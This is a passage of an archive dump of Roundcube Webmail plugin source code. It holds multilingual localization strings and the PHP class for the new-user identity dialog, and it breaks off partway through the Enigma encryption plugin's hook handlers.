$labels['identitydialogtitle'] = 'Udfyld din afsender identitet';
$labels['identitydialoghint'] = 'Denne boks vises kun én gang ved første login';
PKh�\��$��.plugins/new_user_dialog/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Izberite identiteto za pošiljanje';
$labels['identitydialoghint'] = 'To okno se prikaže le ob prvi prijavi v spletno pošto.';
PKh�\;[c+plugins/new_user_dialog/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'يرجى إكمال هوية المُرسِل الخاصة بك';
$labels['identitydialoghint'] = 'يظهر هذا المربع مرة واحدة فقط عند تسجيل الدخول أول مرة .';
PKh�\�#/���.plugins/new_user_dialog/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Bitte vervollständigen Sie Ihre Absenderkennung';
$labels['identitydialoghint'] = 'Dieser Dialog erscheint nur einmal beim ersten Anmelden.';
PKh�\�����.plugins/new_user_dialog/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Fyll i namn och avsändaradress under personliga inställningar';
$labels['identitydialoghint'] = 'Informationen visas endast vid första inloggningen.';
PKh�\ ��+plugins/new_user_dialog/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'سىزنىڭ ئەۋەتكۈچىلىك كىملىكىڭىزنى تۇلۇقلاڭ';
$labels['identitydialoghint'] = 'بۇ بەلگە پەقەتلا تۇنجى قېتىم كىرگەندە كۆرۈنىدۇ.';
PKh�\������.plugins/new_user_dialog/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = '발송자의 신원을 완성해주세요.';
$labels['identitydialoghint'] = '이 상자는 최초로 로그인할 때만 나타납니다.';
PKh�\�����.plugins/new_user_dialog/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Por favor, completa os teus datos persoais';
$labels['identitydialoghint'] = 'Este diálogo só aparecerá a primera vez que te conectes ao correo.';
PKh�\��\Y��.plugins/new_user_dialog/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Per favore completa le informazioni riguardo la tua identità';
$labels['identitydialoghint'] = 'Questa finestra comparirà una volta sola al primo accesso';
PKh�\B ���.plugins/new_user_dialog/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Por favor, complete su identidad de remitente';
$labels['identitydialoghint'] = 'Este diálogo sólo aparece la primera vez que inicia su sesión.';
PKh�\o?Iv��.plugins/new_user_dialog/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'സ്വീകര്‍ത്താവിന്റെ വ്യക്തിത്വം പൂര്‍ത്തീകരിക്കുക';
$labels['identitydialoghint'] = 'ആദ്യത്തെ പ്രവേശനത്തില്‍ മാത്രമേ ഈ പെട്ടി വരികയുള്ളു';
PKh�\�9���.plugins/new_user_dialog/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Vul alstublieft uw afzendergegevens in.';
$labels['identitydialoghint'] = 'Dit scherm verschijnt eenmalig bij uw eerste aanmelding.';
PKh�\��y���.plugins/new_user_dialog/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Cwblhewch eich enw danfonwr';
$labels['identitydialoghint'] = 'Mae\'r bocs hwn yn ymddangos unwaith ar eich mewngofnodiad cyntaf.';
PKh�\��s��.plugins/new_user_dialog/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Please complete your sender identity.';
$labels['identitydialoghint'] = 'This box only appears once at the first login.';
PKh�\�qQ"��.plugins/new_user_dialog/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Vinarliga fill út tín sendara samleika';
$labels['identitydialoghint'] = 'Hesin kassin sæðst einans á fyrstu innriting.';
PKh�\��R��.plugins/new_user_dialog/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Prašom užpildyti trūkstamą informaciją apie save';
$labels['identitydialoghint'] = 'Šis langas rodomas tik prisijungus pirmąjį kartą.';
PKh�\k:��.plugins/new_user_dialog/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Por favor, complete a sua identidade';
$labels['identitydialoghint'] = 'Esta caixa aparece apenas uma vez no primeiro acesso.';
PKh�\����00.plugins/new_user_dialog/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Παρακαλώ συμπληρώστε την ταυτότητα του αποστολέα';
$labels['identitydialoghint'] = 'Αυτό το πλαίσιο εμφανίζεται μια φορά κατά την πρώτη σύνδεση';
PKh�\.Pd�aa+plugins/new_user_dialog/new_user_dialog.phpnu�[���<?php

/**
 * Present identities settings dialog to new users
 *
 * When a new user is created, this plugin checks the default identity
 * and sets a session flag in case it is incomplete. An overlay box will appear
 * on the screen until the user has reviewed/completed his identity.
 *
 * @license GNU GPLv3+
 * @author Thomas Bruederli
 * @author Aleksander Machniak
 */
class new_user_dialog extends rcube_plugin
{
    public $task    = '';
    public $noframe = true;


    function init()
    {
        $this->add_hook('identity_create', [$this, 'create_identity']);
        $this->add_hook('render_page', [$this, 'render_page']);
        $this->register_action('plugin.newusersave', [$this, 'save_data']);
    }

    /**
     * Check newly created identity at first login
     */
    function create_identity($p)
    {
        // set session flag when a new user was created and the default identity seems to be incomplete
        if (!empty($p['login']) && empty($p['complete']) && !empty($p['record']['standard'])) {
            $rcmail = rcmail::get_instance();
            $rcmail->user->save_prefs(['newuserdialog' => true]);
        }
    }

    /**
     * Callback function when HTML page is rendered
     * We'll add an overlay box here.
     */
    function render_page($p)
    {
        $rcmail = rcmail::get_instance();

        if ($p['template'] != 'login' && $rcmail->config->get('newuserdialog')) {
            $this->add_texts('localization');

            $identity         = $rcmail->user->get_identity();
            $identities_level = intval($rcmail->config->get('identities_level', 0));

            // compose user-identity dialog
            $table = new html_table(['cols' => 2, 'class' => 'propform']);

            $table->add('title', html::label('newuserdialog-name', $this->gettext('name')));
            $table->add(null, html::tag('input', [
                    'id'       => 'newuserdialog-name',
                    'type'     => 'text',
                    'name'     => '_name',
                    'value'    => $identity['name'],
                    'disabled' => $identities_level == 4
                ])
            );

            $table->add('title', html::label('newuserdialog-email', $this->gettext('email')));
            $table->add(null, html::tag('input', [
                    'id'       => 'newuserdialog-email',
                    'type'     => 'text',
                    'name'     => '_email',
                    'value'    => rcube_utils::idn_to_utf8($identity['email']),
                    'disabled' => in_array($identities_level, [1, 3, 4])
                ])
            );

            $table->add('title', html::label('newuserdialog-org', $this->gettext('organization')));
            $table->add(null, html::tag('input', [
                    'id'       => 'newuserdialog-org',
                    'type'     => 'text',
                    'name'     => '_organization',
                    'value'    => $identity['organization'],
                    'disabled' => $identities_level == 4
                ])
            );

            $table->add('title', html::label('newuserdialog-sig', $this->gettext('signature')));
            $table->add(null, html::tag('textarea', [
                    'id'   => 'newuserdialog-sig',
                    'name' => '_signature',
                    'rows' => '5',
                ],
                $identity['signature']
            ));

            // add overlay input box to html page
            $rcmail->output->add_footer(html::tag('form', [
                    'id'     => 'newuserdialog',
                    'action' => $rcmail->url('plugin.newusersave'),
                    'method' => 'post',
                    'class'  => 'formcontent',
                    'style'  => 'display: none',
                ],
                html::p('hint', rcube::Q($this->gettext('identitydialoghint'))) . $table->show()
            ));

            $title  = rcube::JQ($this->gettext('identitydialogtitle'));
            $script = "
var newuserdialog = rcmail.show_popup_dialog($('#newuserdialog'), '$title', [{
    text: rcmail.get_label('save'),
    'class': 'mainaction save',
    click: function() {
      var request = {};
      $.each($('form', this).serializeArray(), function() {
        request[this.name] = this.value;
      });

      rcmail.http_post('plugin.newusersave', request, true);
      return false;
    }
  }],
  {
    resizable: false,
    closeOnEscape: false,
    width: 500,
    open: function() { $('#newuserdialog').show(); $('#newuserdialog-name').focus(); },
    beforeClose: function() { return false; }
  }
);
rcube_webmail.prototype.new_user_dialog_close = function() { newuserdialog.dialog('destroy'); };
";
            // disable keyboard events for messages list (#1486726)
            $rcmail->output->add_script($script, 'docready');
        }
    }

    /**
     * Handler for submitted form (ajax request)
     *
     * Check fields and save to default identity if valid.
     * Afterwards the session flag is removed and we're done.
     */
    function save_data()
    {
        $rcmail      = rcmail::get_instance();
        $identity    = $rcmail->user->get_identity();
        $ident_level = intval($rcmail->config->get('identities_level', 0));
        $disabled    = [];

        $save_data = [
            'name'         => rcube_utils::get_input_string('_name', rcube_utils::INPUT_POST),
            'email'        => rcube_utils::get_input_string('_email', rcube_utils::INPUT_POST),
            'organization' => rcube_utils::get_input_string('_organization', rcube_utils::INPUT_POST),
            'signature'    => rcube_utils::get_input_string('_signature', rcube_utils::INPUT_POST),
        ];

        if ($ident_level == 4) {
            $disabled = ['name', 'email', 'organization'];
        }
        else if (in_array($ident_level, [1, 3])) {
            $disabled = ['email'];
        }

        foreach ($disabled as $key) {
            $save_data[$key] = $identity[$key];
        }

        if (empty($save_data['name']) || empty($save_data['email'])) {
            $rcmail->output->show_message('formincomplete', 'error');
        }
        else if (!rcube_utils::check_email($save_data['email'] = rcube_utils::idn_to_ascii($save_data['email']))) {
            $rcmail->output->show_message('emailformaterror', 'error', ['email' => $save_data['email']]);
        }
        else {
            // execute hook
            $plugin = $rcmail->plugins->exec_hook('identity_update', [
                'id' => $identity['identity_id'],
                'record' => $save_data
            ]);

            if (!$plugin['abort']) {
                // save identity
                $updated = $rcmail->user->update_identity($plugin['id'], $plugin['record']);
            } else {
                $updated = $plugin['result'];
            }

            if ($updated) {
                // save prefs to not show dialog again
                $rcmail->user->save_prefs(['newuserdialog' => null]);
                // hide dialog
                $rcmail->output->command('new_user_dialog_close');
                $rcmail->output->show_message('successfullysaved', 'confirmation');
            } else {
                // show error
                $error = !empty($plugin['message']) ? $plugin['message'] : 'errorsaving';
                $rcmail->output->show_message($error, 'error', null, false);
            }
        }

        $rcmail->output->send();
    }
}
PKh�\�D�4@I@Iplugins/enigma/enigma.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | Enigma Plugin for Roundcube                                             |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | Licensed under the GNU General Public License version 3 or              |
 | any later version with exceptions for skins & plugins.                  |
 | See the README file for a full license statement.                       |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

/**
 * This class contains only hooks and action handlers.
 * Most plugin logic is placed in enigma_engine and enigma_ui classes.
 */
class enigma extends rcube_plugin
{
    public $task = 'mail|settings|cli';
    public $rc;
    public $engine;
    public $ui;

    private $env_loaded = false;


    /**
     * Plugin initialization.
     */
    function init()
    {
        $this->rc = rcube::get_instance();

        if ($this->rc->task == 'mail') {
            // message parse/display hooks
            $this->add_hook('message_part_structure', [$this, 'part_structure']);
            $this->add_hook('message_part_body', [$this, 'part_body']);
            $this->add_hook('message_body_prefix', [$this, 'status_message']);

            $this->register_action('plugin.enigmaimport', [$this, 'import_file']);
            $this->register_action('plugin.enigmakeys', [$this, 'preferences_ui']);

            // load the Enigma plugin configuration
            $this->load_config();

            $enabled = $this->rc->config->get('enigma_encryption', true);

            // message displaying
            if ($this->rc->action == 'show' || $this->rc->action == 'preview' || $this->rc->action == 'print') {
                $this->add_hook('message_load', [$this, 'message_load']);
                $this->add_hook('template_object_messagebody', [$this, 'message_output']);
            }
            // message composing
            else if ($enabled && $this->rc->action == 'compose') {
                $this->add_hook('message_compose_body', [$this, 'message_compose']);

                $this->load_ui();
                $this->ui->init();
            }
            // message sending (and draft storing)
            else if ($enabled && $this->rc->action == 'send') {
                $this->add_hook('message_ready', [$this, 'message_ready']);
            }

            $this->password_handler();
        }
        else if ($this->rc->task == 'settings') {
            // add hooks for Enigma settings
            $this->add_hook('settings_actions', [$this, 'settings_actions']);
            $this->add_hook('preferences_sections_list', [$this, 'preferences_sections_list']);
            $this->add_hook('preferences_list', [$this, 'preferences_list']);
            $this->add_hook('preferences_save', [$this, 'preferences_save']);
            $this->add_hook('identity_form', [$this, 'identity_form']);

            // register handler for keys/certs management
            $this->register_action('plugin.enigmakeys', [$this, 'preferences_ui']);
//            $this->register_action('plugin.enigmacerts', [$this, 'preferences_ui']);

            $this->load_ui();

            if (empty($_REQUEST['_framed']) || strpos($this->rc->action, 'plugin.enigma') === 0) {
                $this->ui->add_css();
            }

            $this->password_handler();
        }
        else if ($this->rc->task == 'cli') {
            $this->add_hook('user_delete_commit', [$this, 'user_delete']);
        }

        $this->add_hook('refresh', [$this, 'refresh']);
    }

    /**
     * Plugin environment initialization.
     */
    function load_env()
    {
        if ($this->env_loaded) {
            return;
        }

        $this->env_loaded = true;

        // Add include path for Enigma classes and drivers
        $include_path = $this->home . '/lib' . PATH_SEPARATOR;
        $include_path .= ini_get('include_path');
        set_include_path($include_path);

        // load the Enigma plugin configuration
        $this->load_config();

        // include localization (if wasn't included before)
        $this->add_texts('localization/');
    }

    /**
     * Plugin UI initialization.
     */
    function load_ui($all = false)
    {
        if (!$this->ui) {
            // load config/localization
            $this->load_env();

            // Load UI
            $this->ui = new enigma_ui($this, $this->home);
        }

        if ($all) {
            $this->ui->add_css();
            $this->ui->add_js();
        }
    }

    /**
     * Plugin engine initialization.
     */
    function load_engine()
    {
        if ($this->engine) {
            return $this->engine;
        }

        // load config/localization
        $this->load_env();

        return $this->engine = new enigma_engine($this);
    }

    /**
     * Handler for message_part_structure hook.
     * Called for every part of the message.
     *
     * @param array $p Original parameters
     *
     * @return array Modified parameters
     */
    function part_structure($p)
    {
        $this->load_engine();

        return $this->engine->part_structure($p);
    }

    /**
     * Handler for message_part_body hook.
     * Called to get body of a message part.
     *
     * @param array $p Original parameters
     *
     * @return array Modified parameters
     */
    function part_body($p)
    {
        $this->load_engine();

        return $this->engine->part_body($p);
    }

    /**
     * Handler for settings_actions hook.
     * Adds Enigma settings section into preferences.
     *
     * @param array $args Original parameters
     *
     * @return array Modified parameters
     */
    function settings_actions($args)
    {
        // add labels
        $this->add_texts('localization/');

        // register as settings action
        $args['actions'][] = [
            'action' => 'plugin.enigmakeys',
            'class'  => 'enigma keys',
            'label'  => 'enigmakeys',
            'title'  => 'enigmakeys',
            'domain' => 'enigma',
        ];
/*
        $args['actions'][] = [
            'action' => 'plugin.enigmacerts',
            'class'  => 'enigma certs',
            'label'  => 'enigmacerts',
            'title'  => 'enigmacerts',
            'domain' => 'enigma',
        ];
*/
        return $args;
    }

    /**
     * Handler for preferences_sections_list hook.
     * Adds Encryption settings section into preferences sections list.
     *
     * @param array $p Original parameters
     *
     * @return array Modified parameters
     */
    function preferences_sections_list($p)
    {
        $p['list']['enigma'] = [
            'id' => 'enigma', 'section' => $this->gettext('encryption'),
        ];

        return $p;
    }

    /**
     * Handler for preferences_list hook.
     * Adds options blocks into Enigma settings sections in Preferences.
     *
     * @param array $p Original parameters
     *
     * @return array Modified parameters
     */
    function preferences_list($p)
    {
        if ($p['section'] != 'encryption') {
            return $p;
        }

        $no_override = array_flip((array)$this->rc->config->get('dont_override'));

        if (!isset($no_override['enigma_encryption'])) {
            if (!$p['current']) {
                $p['blocks']['main']['content'] = true;
                return $p;
            }

            $field_id = 'rcmfd_enigma_encryption';
            $input    = new html_checkbox([
                    'name'  => '_enigma_encryption',
                    'id'    => $field_id,
                    'value' => 1,
            ]);

            $p['blocks']['main']['options']['enigma_encryption'] = [
                'title'   => html::label($field_id, $this->gettext('supportencryption')),
                'content' => $input->show(intval($this->rc->config->get('enigma_encryption'))),
            ];
        }

        if (!isset($no_override['enigma_signatures'])) {
            if (!$p['current']) {
                $p['blocks']['main']['content'] = true;
                return $p;
            }

            $field_id = 'rcmfd_enigma_signatures';
            $input    = new html_checkbox([
                    'name'  => '_enigma_signatures',
                    'id'    => $field_id,
                    'value' => 1,
            ]);

            $p['blocks']['main']['options']['enigma_signatures'] = [
                'title'   => html::label($field_id, $this->gettext('supportsignatures')),
                'content' => $input->show(intval($this->rc->config->get('enigma_signatures'))),
            ];
        }

        if (!isset($no_override['enigma_decryption'])) {
            if (!$p['current']) {
                $p['blocks']['main']['content'] = true;
                return $p;
            }

            $field_id = 'rcmfd_enigma_decryption';
            $input    = new html_checkbox([
                    'name'  => '_enigma_decryption',
                    'id'    => $field_id,
                    'value' => 1,
            ]);

            $p['blocks']['main']['options']['enigma_decryption'] = [
                'title'   => html::label($field_id, $this->gettext('supportdecryption')),
                'content' => $input->show(intval($this->rc->config->get('enigma_decryption'))),
            ];
        }

        if (!isset($no_override['enigma_sign_all'])) {
            if (!$p['current']) {
                $p['blocks']['main']['content'] = true;
                return $p;
            }

            $field_id = 'rcmfd_enigma_sign_all';
            $input    = new html_checkbox([
                    'name'  => '_enigma_sign_all',
                    'id'    => $field_id,
                    'value' => 1,
            ]);

            $p['blocks']['main']['options']['enigma_sign_all'] = [
                'title'   => html::label($field_id, $this->gettext('signdefault')),
                'content' => $input->show($this->rc->config->get('enigma_sign_all') ? 1 : 0),
            ];
        }

        if (!isset($no_override['enigma_encrypt_all'])) {
            if (!$p['current']) {
                $p['blocks']['main']['content'] = true;
                return $p;
            }

            $field_id = 'rcmfd_enigma_encrypt_all';
            $input    = new html_checkbox([
                    'name'  => '_enigma_encrypt_all',
                    'id'    => $field_id,
                    'value' => 1,
            ]);

            $p['blocks']['main']['options']['enigma_encrypt_all'] = [
                'title'   => html::label($field_id, $this->gettext('encryptdefault')),
                'content' => $input->show($this->rc->config->get('enigma_encrypt_all') ? 1 : 0),
            ];
        }

        if (!isset($no_override['enigma_attach_pubkey'])) {
            if (!$p['current']) {
                $p['blocks']['main']['content'] = true;
                return $p;
            }

            $field_id = 'rcmfd_enigma_attach_pubkey';
            $input    = new html_checkbox([
                    'name'  => '_enigma_attach_pubkey',
                    'id'    => $field_id,
                    'value' => 1,
            ]);

            $p['blocks']['main']['options']['enigma_attach_pubkey'] = [
                'title'   => html::label($field_id, $this->gettext('attachpubkeydefault')),
                'content' => $input->show($this->rc->config->get('enigma_attach_pubkey') ? 1 : 0),
            ];
        }

        if (!isset($no_override['enigma_password_time'])) {
            if (!$p['current']) {
                $p['blocks']['main']['content'] = true;
                return $p;
            }

            $field_id = 'rcmfd_enigma_password_time';
            $select   = new html_select(['name' => '_enigma_password_time', 'id' => $field_id, 'class' => 'custom-select']);

            foreach ([1, 5, 10, 15, 30] as $m) {
                $label = $this->gettext(['name' => 'nminutes', 'vars' => ['m' => $m]]);
                $select->add($label, $m);
            }
            $select->add($this->gettext('wholesession'), 0);

            $p['blocks']['main']['options']['enigma_password_time'] = [
                'title'   => html::label($field_id, $this->gettext('passwordtime')),
                'content' => $select->show(intval($this->rc->config->get('enigma_password_time'))),
            ];
        }

        return $p;
    }

    /**
     * Handler for preferences_save hook.
     * Executed on Enigma settings form submit.
     *
     * @param array $p Original parameters
     *
     * @return array Modified parameters
     */
    function preferences_save($p)
    {
        if ($p['section'] == 'encryption') {
            $p['prefs']['enigma_signatures'] = (bool) rcube_utils::get_input_value('_enigma_signatures', rcube_utils::INPUT_POST);
            $p['prefs']['enigma_decryption'] = (bool) rcube_utils::get_input_value('_enigma_decryption', rcube_utils::INPUT_POST);
            $p['prefs']['enigma_encryption'] = (bool) rcube_utils::get_input_value('_enigma_encryption', rcube_utils::INPUT_POST);
            $p['prefs']['enigma_sign_all'] = (bool) rcube_utils::get_input_value('_enigma_sign_all', rcube_utils::INPUT_POST);
            $p['prefs']['enigma_encrypt_all'] = (bool) rcube_utils::get_input_value('_enigma_encrypt_all', rcube_utils::INPUT_POST);
            $p['prefs']['enigma_attach_pubkey'] = (bool) rcube_utils::get_input_value('_enigma_attach_pubkey', rcube_utils::INPUT_POST);
            $p['prefs']['enigma_password_time'] = intval(rcube_utils::get_input_value('_enigma_password_time', rcube_utils::INPUT_POST));
        }

        return $p;
    }

    /**
     * Handler for keys/certs management UI template.
     */
    function preferences_ui()
    {
        $this->load_ui();

        $this->ui->init();
    }

    /**
     * Handler for 'identity_form' plugin hook.
     *
     * This will list private keys matching this identity
     * and add a link to enigma key management action.
     *
     * @param array $p Original parameters
     *
     * @return array Modified parameters
     */
    function identity_form($p)
    {
        if (isset($p['form']['encryption']) && !empty($p['record']['identity_id'])) {
            $content = '';

            // find private keys for this identity
            if (!empty($p['record']['email'])) {
                $listing = [];
                $engine  = $this->load_engine();
                $keys    = $engine->list_keys($p['record']['email']);

                // On error do nothing, plugin/gnupg misconfigured?
                if ($keys instanceof enigma_error) {
                    return $p;
                }

                foreach ($keys as $key) {
                    if ($key->get_type() === enigma_key::TYPE_KEYPAIR) {
                        $listing[] = html::tag('li', null,
                            html::tag('strong', 'uid', html::quote($key->id))
                            . ' ' . html::tag('span', 'identity', html::quote($key->name))
                        );
                    }
                }

                if (count($listing)) {
                    $content .= html::p(null, $this->gettext(['name' => 'identitymatchingprivkeys', 'vars' => ['nr' => count($listing)]]));
                    $content .= html::tag('ul', 'keylist', implode("\n", $listing));
                }
                else {
                    $content .= html::p(null, $this->gettext('identitynoprivkeys'));
                }
            }

            // add button linking to enigma key management
            $button_attr = [
                'class'  => 'button',
                'href'   => $this->rc->url(['action' => 'plugin.enigmakeys']),
                'target' => '_parent',
            ];
            $content .= html::p(null, html::a($button_attr, $this->gettext('managekeys')));

            // rename class to avoid Mailvelope key management to kick in
            $p['form']['encryption']['attrs'] = ['class' => 'enigma-identity-encryption'];
            // fill fieldset content with our stuff
            $p['form']['encryption']['content'] = html::div('identity-encryption-block', $content);
        }

        return $p;
    }

    /**
     * Handler for message_body_prefix hook.
     * Called for every displayed (content) part of the message.
     * Adds infobox about signature verification and/or decryption
     * status above the body.
     *
     * @param array $p Original parameters
     *
     * @return array Modified parameters
     */
    function status_message($p)
    {
        $this->load_ui();

        return $this->ui->status_message($p);
    }

    /**
     * Handler for message_load hook.
     * Check message bodies and attachments for keys/certs.
     */
    function message_load($p)
    {
        $this->load_ui();

        return $this->ui->message_load($p);
    }

    /**
     * Handler for template_object_messagebody hook.
     * This callback function adds a box below the message content
     * if there is a key/cert attachment available
     */
    function message_output($p)
    {
        $this->load_ui();

        return $this->ui->message_output($p);
    }

    /**
     * Handler for attached keys/certs import
     */
    function import_file()
    {
        $this->load_ui();

        $this->ui->import_file();
    }

    /**
     * Handle password submissions
     */
    function password_handler()
    {
        $this->load_engine();

        $this->engine->password_handler();
    }

    /**
     * Handle message_ready hook (encryption/signing)
     */
    function message_ready($p)
    {
        $this->load_ui();

        return $this->ui->message_ready($p);
    }

    /**
     * Handle message_compose_body hook
     */
    function message_compose($p)
    {
        $this->load_ui();

